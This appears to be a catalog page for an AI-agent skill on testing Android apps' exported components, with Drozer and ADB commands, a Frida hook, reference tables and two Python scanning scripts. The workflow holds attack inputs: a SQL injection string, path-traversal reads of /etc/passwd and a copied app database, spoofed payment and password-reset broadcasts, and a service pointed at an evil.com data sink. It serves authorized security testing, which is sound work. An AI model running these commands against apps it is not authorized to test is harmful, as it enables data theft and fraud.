
Testing Android Intents For Vulnerabilities
- 73 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Helps with testing & qa tasks.
About
testing-android-intents-for-vulnerabilities is a Claude Code skill in the Testing & QA category.
- testing-android-intents-for-vulnerabilities
- Testing & QA
- AI-coding skill
Testing Android Intents For Vulnerabilities by the numbers
- 73 all-time installs (skills.sh)
- Ranked #1,086 of 2,153 Testing & QA skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-android-intents-for-vulnerabilitiesAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 73 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Helps with testing & qa tasks.
Files
Testing Android Intents for Vulnerabilities
When to Use
Use this skill when:
- Assessing Android app exported activities, services, receivers, and content providers
- Testing for intent injection and unauthorized component invocation
- Evaluating broadcast receiver security for sensitive data exposure
- Performing IPC-focused penetration testing on Android applications
Do not use on production devices without explicit authorization.
Prerequisites
- Rooted Android device or emulator with ADB
- Drozer agent installed on target device (
drozer agent.apk) - Drozer console on host (
pip install drozer) - Target APK decompiled with apktool for AndroidManifest.xml analysis
- Frida for runtime intent monitoring
Workflow
Step 1: Enumerate Exported Components
# Using Drozer
drozer console connect
run app.package.info -a com.target.app
run app.package.attacksurface com.target.app
# Output shows:
# X activities exported
# X broadcast receivers exported
# X content providers exported
# X services exported
# List exported activities
run app.activity.info -a com.target.app
# List exported services
run app.service.info -a com.target.app
# List exported receivers
run app.broadcast.info -a com.target.app
# List content providers
run app.provider.info -a com.target.appStep 2: Test Exported Activities
# Launch exported activities directly
run app.activity.start --component com.target.app com.target.app.AdminActivity
# Launch with intent extras
run app.activity.start --component com.target.app com.target.app.ProfileActivity \
--extra string user_id 1337
# Test intent injection via data URI
adb shell am start -a android.intent.action.VIEW \
-d "content://com.target.app/users/admin" com.target.app
# If admin activity opens without auth, report as authorization bypassStep 3: Test Broadcast Receivers
# Send broadcast to exported receivers
run app.broadcast.send --action com.target.app.PROCESS_PAYMENT \
--extra string amount "0.01" --extra string recipient "attacker"
# Sniff broadcasts for sensitive data
run app.broadcast.sniff --action com.target.app.USER_LOGIN
# Via ADB
adb shell am broadcast -a com.target.app.RESET_PASSWORD \
--es email "attacker@evil.com"Step 4: Test Content Providers
# Query content providers for data leakage
run app.provider.query content://com.target.app.provider/users
run app.provider.query content://com.target.app.provider/users --projection "password"
# Test SQL injection in content providers
run app.provider.query content://com.target.app.provider/users \
--selection "1=1) UNION SELECT username,password FROM users--"
# Test path traversal
run app.provider.read content://com.target.app.provider/../../etc/passwd
run app.provider.download content://com.target.app.provider/../databases/app.db /tmp/stolen.db
# Find injectable providers
run scanner.provider.injection -a com.target.app
run scanner.provider.traversal -a com.target.appStep 5: Test Pending Intent Vulnerabilities
// Monitor PendingIntent creation via Frida
Java.perform(function() {
var PendingIntent = Java.use("android.app.PendingIntent");
PendingIntent.getActivity.overload("android.content.Context", "int",
"android.content.Intent", "int").implementation =
function(context, requestCode, intent, flags) {
console.log("[PendingIntent] getActivity:");
console.log(" Intent: " + intent.toString());
console.log(" Flags: " + flags);
// Check for FLAG_IMMUTABLE (secure) vs FLAG_MUTABLE (vulnerable)
var FLAG_MUTABLE = 0x02000000;
if ((flags & FLAG_MUTABLE) !== 0) {
console.log(" [VULN] FLAG_MUTABLE - PendingIntent can be modified by receiver");
}
return this.getActivity(context, requestCode, intent, flags);
};
});Step 6: Test Service Binding
# Attempt to bind to exported services
run app.service.start --action com.target.app.SYNC_SERVICE \
--extra string server "https://evil.com/data_sink"
run app.service.send com.target.app com.target.app.MessengerService \
--msg 1 0 0 --extra string command "dump_database" --bundle-as-objKey Concepts
| Term | Definition |
|---|---|
| Exported Component | Android component (activity/service/receiver/provider) accessible to other apps on the device |
| Intent | Messaging object for requesting actions from other components; can be explicit (target specified) or implicit (action-based) |
| Pending Intent | Token wrapping an intent for future execution by another app; mutable PendingIntents can be modified by recipients |
| Content Provider | Component for structured data sharing between apps; SQL injection target if query parameters are not sanitized |
| Broadcast Receiver | Component receiving system or app broadcasts; exported receivers can be triggered by any app |
Tools & Systems
- Drozer: Android security assessment framework for IPC testing with pre-built modules
- ADB: Command-line tool for invoking intents, starting activities, and sending broadcasts
- Frida: Runtime monitoring of intent handling and PendingIntent creation
- apktool: APK decompilation for AndroidManifest.xml analysis of component export status
- Intent Fuzzer: Automated tool for fuzzing intent parameters across exported components
Common Pitfalls
- android:exported default changed in API 31: Components with intent filters default to exported=true below API 31 but exported=false at API 31+. Check targetSdkVersion.
- Permission-protected components: An exported component may still require a permission. Test with and without the required permission.
- Implicit intents vs explicit: Only implicit intents (action-based) are interceptable by other apps. Explicit intents (specifying target) are secure.
- Custom permissions: Apps can define custom permissions with different protection levels (normal, dangerous, signature). Signature-level permissions are only grantable to apps signed with the same certificate.
Android Intent Security Assessment Report
Target
| Field | Value |
|---|---|
| Package | [PACKAGE] |
| Target SDK | [SDK] |
| Exported Components | [COUNT] |
Attack Surface
| Component Type | Exported | Unprotected | Risk |
|---|---|---|---|
| Activities | [N] | [N] | [RISK] |
| Services | [N] | [N] | [RISK] |
| Receivers | [N] | [N] | [RISK] |
| Providers | [N] | [N] | [RISK] |
Findings
Finding [N]: [COMPONENT_NAME]
- Type: [Activity/Service/Receiver/Provider]
- Exported: Yes
- Permission Protected: [YES/NO]
- Issue: [DESCRIPTION]
- Severity: [LEVEL]
- Test Command:
[COMMAND] - Result: [OUTCOME]
- Recommendation: [REMEDIATION]
Recommendations
1. [RECOMMENDATION]
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: Testing Android Intents for Vulnerabilities
Drozer Modules
| Module | Description |
|---|---|
app.package.attacksurface | Enumerate exported components |
app.activity.info | List exported activities |
app.service.info | List exported services |
app.broadcast.info | List exported receivers |
app.provider.info | List content providers |
app.provider.query | Query content provider URI |
scanner.provider.injection | Test for SQL injection |
scanner.provider.traversal | Test for path traversal |
app.broadcast.send | Send broadcast intent |
app.activity.start | Start exported activity |
ADB Intent Commands
| Command | Description |
|---|---|
adb shell am start -n <pkg>/<activity> | Start activity |
adb shell am broadcast -a <action> | Send broadcast |
adb shell am startservice -n <pkg>/<svc> | Start service |
adb shell content query --uri <uri> | Query provider |
adb shell dumpsys package <pkg> | Package info |
Component Types
| Type | Risk | Test |
|---|---|---|
| Exported Activity | Auth bypass | Direct launch without intent filters |
| Content Provider | Data leakage, SQLi | Query with modified URIs |
| Broadcast Receiver | Action spoofing | Send crafted broadcasts |
| Service | Unauthorized actions | Bind/start with extras |
| PendingIntent | Hijacking | Check FLAG_MUTABLE |
Python Libraries
| Library | Version | Purpose |
|---|---|---|
subprocess | stdlib | Execute adb/drozer CLI |
re | stdlib | Parse command output |
json | stdlib | Report generation |
References
- Drozer: https://github.com/WithSecureLabs/drozer
- OWASP MASTG: https://mas.owasp.org/MASTG/
- Android IPC: https://developer.android.com/guide/components/intents-filters
Standards Reference: Android Intent Vulnerabilities
OWASP Mobile Top 10 2024
| ID | Risk | Intent Relevance |
|---|---|---|
| M4 | Insufficient Input/Output Validation | Intent parameter injection |
| M8 | Security Misconfiguration | Exported components without permission guards |
OWASP MASVS v2.0 - MASVS-PLATFORM
| Control | Test |
|---|---|
| MASVS-PLATFORM-1 | Verify exported components require appropriate permissions |
| MASVS-PLATFORM-2 | Verify intent data is validated before processing |
CWE Mappings
| CWE | Title | Vector |
|---|---|---|
| CWE-926 | Improper Export of Android Application Components | Exported without permission |
| CWE-927 | Use of Implicit Intent for Sensitive Communication | Sensitive data in implicit intents |
| CWE-925 | Improper Verification of Intent by Broadcast Receiver | Missing sender verification |
| CWE-89 | SQL Injection | Content provider query injection |
| CWE-22 | Path Traversal | Content provider path traversal |
Workflows: Android Intent Vulnerability Testing
Workflow 1: IPC Security Assessment
[Decompile APK] --> [Parse AndroidManifest] --> [Enumerate exported components]
|
+------------------+------------------+
| | | |
[Activities] [Services] [Receivers] [Providers]
[Direct launch] [Bind/Start] [Trigger] [Query/Inject]
[Auth bypass?] [Data exfil?] [Sniff?] [SQLi? Traversal?]
| | | |
+------------------+------------------+
|
[PendingIntent audit]
[Report findings]#!/usr/bin/env python3
"""Agent for testing Android intents for vulnerabilities.
Uses ADB and Drozer to enumerate exported components, test
intent injection, content provider SQL injection, broadcast
receiver abuse, and pending intent hijacking vulnerabilities.
"""
import json
import subprocess
import re
import sys
from pathlib import Path
from datetime import datetime
class AndroidIntentTestAgent:
"""Tests Android app IPC through intents for security flaws."""
def __init__(self, package_name, output_dir="./android_intent_test"):
self.package = package_name
self.output_dir = Path(output_dir)
self.output_dir.mkdir(parents=True, exist_ok=True)
self.findings = []
def _adb(self, args, timeout=15):
cmd = ["adb", "shell"] + args
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
return result.stdout.strip(), result.returncode
except (FileNotFoundError, subprocess.TimeoutExpired):
return "", -1
def _drozer(self, module, args=""):
cmd_str = f"run {module} -a {self.package} {args}".strip()
cmd = ["drozer", "console", "connect", "-c", cmd_str]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
return result.stdout.strip()
except (FileNotFoundError, subprocess.TimeoutExpired):
return ""
def enumerate_attack_surface(self):
"""Enumerate exported components via Drozer."""
output = self._drozer("app.package.attacksurface")
surface = {"activities": 0, "services": 0, "receivers": 0, "providers": 0}
for m in re.finditer(r"(\d+)\s+(activities|broadcast receivers|content providers|services)\s+exported", output):
count = int(m.group(1))
comp_type = m.group(2)
if "activities" in comp_type:
surface["activities"] = count
elif "services" in comp_type:
surface["services"] = count
elif "receivers" in comp_type:
surface["receivers"] = count
elif "providers" in comp_type:
surface["providers"] = count
total = sum(surface.values())
if total > 0:
self.findings.append({
"severity": "info",
"type": "Attack Surface",
"detail": f"{total} exported components found",
"breakdown": surface,
})
return surface
def list_exported_activities(self):
"""List exported activities."""
output = self._drozer("app.activity.info")
activities = []
for m in re.finditer(r"([\w.]+/[\w.$]+)", output):
activities.append(m.group(1))
return activities
def test_activity_access(self, activity_name):
"""Test if an exported activity is accessible without auth."""
output, rc = self._adb(["am", "start", "-n", f"{self.package}/{activity_name}"])
accessible = "Error" not in output and rc == 0
if accessible:
self.findings.append({
"severity": "high",
"type": "Exported Activity Access",
"detail": f"Activity {activity_name} accessible without authentication",
})
return {"activity": activity_name, "accessible": accessible, "output": output[:200]}
def test_content_provider_query(self, uri):
"""Test content provider for data leakage."""
output = self._drozer("app.provider.query", uri)
has_data = bool(output) and "No results" not in output and "error" not in output.lower()
if has_data:
self.findings.append({
"severity": "high",
"type": "Content Provider Data Leakage",
"detail": f"Data accessible via {uri}",
})
return {"uri": uri, "has_data": has_data, "preview": output[:300]}
def test_sql_injection(self, uri):
"""Test content provider for SQL injection."""
output = self._drozer("scanner.provider.injection")
injectable = "Injectable" in output or "injection" in output.lower()
if injectable:
self.findings.append({
"severity": "critical",
"type": "Content Provider SQL Injection",
"detail": f"SQL injection possible in {self.package}",
})
return {"package": self.package, "injectable": injectable}
def test_path_traversal(self):
"""Test content providers for path traversal."""
output = self._drozer("scanner.provider.traversal")
vulnerable = "Vulnerable" in output or "traversal" in output.lower()
if vulnerable:
self.findings.append({
"severity": "critical",
"type": "Content Provider Path Traversal",
"detail": f"Path traversal in {self.package}",
})
return {"vulnerable": vulnerable}
def send_broadcast(self, action, extras=None):
"""Send broadcast to test exported receivers."""
cmd = ["am", "broadcast", "-a", action, "-p", self.package]
if extras:
for key, val in extras.items():
cmd.extend(["--es", key, val])
output, rc = self._adb(cmd)
return {"action": action, "result": output[:200], "returncode": rc}
def check_debuggable(self):
"""Check if app is debuggable."""
output, _ = self._adb(["run-as", self.package, "id"])
debuggable = "uid=" in output
if debuggable:
self.findings.append({
"severity": "high",
"type": "Debuggable Application",
"detail": f"{self.package} is debuggable",
})
return debuggable
def generate_report(self):
surface = self.enumerate_attack_surface()
activities = self.list_exported_activities()
self.check_debuggable()
self.test_sql_injection("")
self.test_path_traversal()
report = {
"report_date": datetime.utcnow().isoformat(),
"package": self.package,
"attack_surface": surface,
"exported_activities": activities,
"findings": self.findings,
"total_findings": len(self.findings),
}
out = self.output_dir / "android_intent_report.json"
with open(out, "w") as f:
json.dump(report, f, indent=2)
print(json.dumps(report, indent=2))
return report
def main():
if len(sys.argv) < 2:
print("Usage: agent.py <package_name>")
sys.exit(1)
agent = AndroidIntentTestAgent(sys.argv[1])
agent.generate_report()
if __name__ == "__main__":
main()
#!/usr/bin/env python3
"""
Android Intent Vulnerability Scanner
Parses AndroidManifest.xml to identify exported components and generate
Drozer/ADB test commands for IPC security assessment.
Usage:
python process.py --manifest AndroidManifest.xml [--package com.target.app] [--output report.json]
"""
import argparse
import json
import sys
import xml.etree.ElementTree as ET
from datetime import datetime
from pathlib import Path
def parse_manifest(manifest_path: str) -> dict:
"""Parse AndroidManifest.xml for exported components."""
tree = ET.parse(manifest_path)
root = tree.getroot()
ns = {"android": "http://schemas.android.com/apk/res/android"}
package = root.get("package", "unknown")
target_sdk = ""
for sdk in root.findall(".//uses-sdk"):
target_sdk = sdk.get(f"{{{ns['android']}}}targetSdkVersion", "unknown")
components = {"activities": [], "services": [], "receivers": [], "providers": []}
for comp_type, tag in [("activities", "activity"), ("services", "service"),
("receivers", "receiver"), ("providers", "provider")]:
for elem in root.findall(f".//{tag}"):
name = elem.get(f"{{{ns['android']}}}name", "")
exported = elem.get(f"{{{ns['android']}}}exported", "")
permission = elem.get(f"{{{ns['android']}}}permission", "")
has_intent_filter = len(elem.findall("intent-filter")) > 0
# Determine effective export status
if exported == "true":
is_exported = True
elif exported == "false":
is_exported = False
else:
is_exported = has_intent_filter # Default: exported if has intent-filter (pre API 31)
if is_exported:
component = {
"name": name,
"exported": True,
"permission": permission,
"has_intent_filter": has_intent_filter,
"protected": bool(permission),
}
# Get intent filter actions
actions = []
for intent_filter in elem.findall("intent-filter"):
for action in intent_filter.findall("action"):
actions.append(action.get(f"{{{ns['android']}}}name", ""))
component["actions"] = actions
# Provider-specific attributes
if tag == "provider":
component["authorities"] = elem.get(f"{{{ns['android']}}}authorities", "")
component["read_permission"] = elem.get(f"{{{ns['android']}}}readPermission", "")
component["write_permission"] = elem.get(f"{{{ns['android']}}}writePermission", "")
components[comp_type].append(component)
return {"package": package, "target_sdk": target_sdk, "components": components}
def generate_test_commands(parsed: dict) -> list:
"""Generate Drozer and ADB test commands."""
commands = []
pkg = parsed["package"]
for activity in parsed["components"]["activities"]:
commands.append({
"component": activity["name"],
"type": "activity",
"tool": "drozer",
"command": f'run app.activity.start --component {pkg} {activity["name"]}',
"risk": "HIGH" if not activity["protected"] else "LOW",
})
for receiver in parsed["components"]["receivers"]:
for action in receiver.get("actions", []):
commands.append({
"component": receiver["name"],
"type": "receiver",
"tool": "adb",
"command": f'adb shell am broadcast -a {action} -n {pkg}/{receiver["name"]}',
"risk": "HIGH" if not receiver["protected"] else "LOW",
})
for provider in parsed["components"]["providers"]:
auth = provider.get("authorities", "")
if auth:
commands.append({
"component": provider["name"],
"type": "provider_query",
"tool": "drozer",
"command": f'run app.provider.query content://{auth}/',
"risk": "CRITICAL" if not provider.get("read_permission") else "MEDIUM",
})
commands.append({
"component": provider["name"],
"type": "provider_injection",
"tool": "drozer",
"command": f'run scanner.provider.injection -a {pkg}',
"risk": "CRITICAL",
})
return commands
def assess_findings(parsed: dict) -> list:
"""Assess security of exported components."""
findings = []
components = parsed["components"]
for comp_type, items in components.items():
for item in items:
if not item.get("protected"):
findings.append({
"component": item["name"],
"type": comp_type,
"issue": f"Exported {comp_type[:-1]} without permission protection",
"severity": "HIGH" if comp_type in ("providers", "receivers") else "MEDIUM",
"owasp_mobile": "M8",
"cwe": "CWE-926",
})
# Check for sensitive-looking unprotected components
sensitive_keywords = ["admin", "debug", "internal", "settings", "config", "payment", "auth"]
for comp_type, items in components.items():
for item in items:
name_lower = item["name"].lower()
if any(kw in name_lower for kw in sensitive_keywords) and not item.get("protected"):
findings.append({
"component": item["name"],
"type": comp_type,
"issue": f"Sensitive component '{item['name']}' exported without protection",
"severity": "CRITICAL",
"owasp_mobile": "M8",
"cwe": "CWE-926",
})
return findings
def main():
parser = argparse.ArgumentParser(description="Android Intent Vulnerability Scanner")
parser.add_argument("--manifest", required=True, help="AndroidManifest.xml path")
parser.add_argument("--output", default="intent_scan.json", help="Output report")
args = parser.parse_args()
if not Path(args.manifest).exists():
print(f"[-] Not found: {args.manifest}")
sys.exit(1)
parsed = parse_manifest(args.manifest)
commands = generate_test_commands(parsed)
findings = assess_findings(parsed)
total_exported = sum(len(v) for v in parsed["components"].values())
report = {
"scan": {"manifest": args.manifest, "package": parsed["package"],
"target_sdk": parsed["target_sdk"], "date": datetime.now().isoformat()},
"attack_surface": {
"total_exported": total_exported,
"activities": len(parsed["components"]["activities"]),
"services": len(parsed["components"]["services"]),
"receivers": len(parsed["components"]["receivers"]),
"providers": len(parsed["components"]["providers"]),
},
"findings": findings,
"test_commands": commands,
}
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(f"[+] Package: {parsed['package']}")
print(f"[+] Exported components: {total_exported}")
print(f"[+] Findings: {len(findings)}")
print(f"[+] Test commands generated: {len(commands)}")
print(f"[+] Report saved: {args.output}")
if __name__ == "__main__":
main()
Related skills
Testing & QAtesting